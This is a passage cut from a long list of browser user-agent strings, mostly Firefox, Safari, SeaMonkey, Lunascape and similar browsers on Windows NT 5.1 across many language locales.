Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; id) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; is; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; it) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/525+ (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.5) Gecko/20041110 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.5) Gecko/20060127 Netscape/8.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.9.2.32) Gecko/20120529 Firefox/3.6.32 (Palemoon/3.6.32) Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.9a1) Gecko/20100202 Firefox/3.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.7) Gecko/20061001 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 FirePHP/0.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1.12) Gecko/20100825 SeaMonkey/2.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.28) Gecko/20120306 AskTbSTC-SRS/3.13.1.18132 Firefox/3.6.28 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.8) Gecko/20100722 AskTbSTC-SRS/3.13.1.18132 Firefox/3.6.8 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JA; rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.99 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/533.3 (KHTML, like Gecko) Lunascape/6.3.4.23051 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.9.2) Gecko/20100206 Palemoon/3.6.0.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3) (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3) GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.9.2.8) Gecko/20100817 Firefox/3.6.8 (Palemoon/3.6.8a) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-jp) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.1 Chrome/7.0.520.1 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 GTB7.0 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1) Gecko/20090701 Firefox/3.5 Lunascape/5.1.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB7.0 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.10) Gecko/20100624 Firefox/3.5.10 Lunascape/6.2.0.22177 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.10) Gecko/20100624 Firefox/3.5.10 Lunascape/6.2.0.22177 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.11) Gecko/20100723 Firefox/3.5.11 Lunascape/6.2.1.22445 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.13) Gecko/20100917 Firefox/3.5.13 Lunascape/6.3.3.22929 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.15) Gecko/20101029 Firefox/3.5.15 Lunascape/6.3.4.23051 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.15) Gecko/20101029 Firefox/3.5.15 Lunascape/6.3.4.23051 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 1.1.4322) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.9) Gecko/20100331 Firefox/3.5.9 Lunascape/6.1.4.21478 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.9) Gecko/20100331 Firefox/3.5.9 Lunascape/6.1.4.21478 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2.25) Gecko/20111212 Firefox/3.6.25 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2.32) Gecko/20120529 Firefox/3.6.32 (Palemoon/3.6.32) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko-KR) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko-KR; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko-KR; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.16) Gecko/20110325 Firefox/3.6.16 Lunascape/6.4.5.23569 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; mk; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; mk; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.21022) Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.13) Gecko/20100914 Lightning/1.0b1 SeaMonkey/2.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.12.9 (KHTML, like Gecko) Version/3.0 Safari/523.12.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko) 